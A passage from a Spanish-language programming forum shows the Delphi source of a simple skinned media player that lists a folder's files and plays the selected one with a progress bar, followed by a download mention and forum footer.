  63. procedure TForm1.FormCreate(Sender: TObject);
  64. begin
  65.   sProgressBar1.Max := 0;
  66.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  67.   sSkinManager1.SkinName := 'fm';
  68.   sSkinManager1.Active := True;
  69. end;
  70.  
  71. procedure TForm1.L1Click(Sender: TObject);
  72. var
  73.   dir: string;
  74.   search: TSearchRec;
  75.   cantidad: Integer;
  76.  
  77. begin
  78.  
  79.   SelectDirectory('Select a folder', '', dir);
  80.  
  81.   sListBox1.Clear;
  82.  
  83.   sEdit1.Text := dir;
  84.   cantidad := FindFirst(dir + '/' + '*.*', faAnyFile, search);
  85.  
  86.   while cantidad = 0 do
  87.   begin
  88.     if FileExists(dir + '/' + search.name) then
  89.     begin
  90.       sListBox1.Items.Add(search.name);
  91.     end;
  92.     cantidad := FindNext(search);
  93.   end;
  94.   FindClose(search);
  95.  
  96. end;
  97.  
  98. procedure TForm1.R1Click(Sender: TObject);
  99. begin
  100.   sEdit1.Text := '';
  101.   sProgressBar1.Max := 0;
  102.   sListBox1.Clear;
  103. end;
  104.  
  105. procedure TForm1.sListBox1DblClick(Sender: TObject);
  106. begin
  107.  
  108.   sProgressBar1.Max := 0;
  109.  
  110.   MediaPlayer1.Close;
  111.   MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
  112.     [sListBox1.ItemIndex];
  113.   MediaPlayer1.Open;
  114.  
  115.   sProgressBar1.Max := MediaPlayer1.Length;
  116. end;
  117.  
  118. procedure TForm1.Timer1Timer(Sender: TObject);
  119. begin
  120.   if sProgressBar1.Max <> 0 then
  121.     sProgressBar1.Position := MediaPlayer1.Position;
  122. end;
  123.  
  124. end.
  125.  
  126. // The End ?
  127.  

Si lo quieren bajar lo pueden hacer de aca
Páginas: 1 ... 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [23] 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines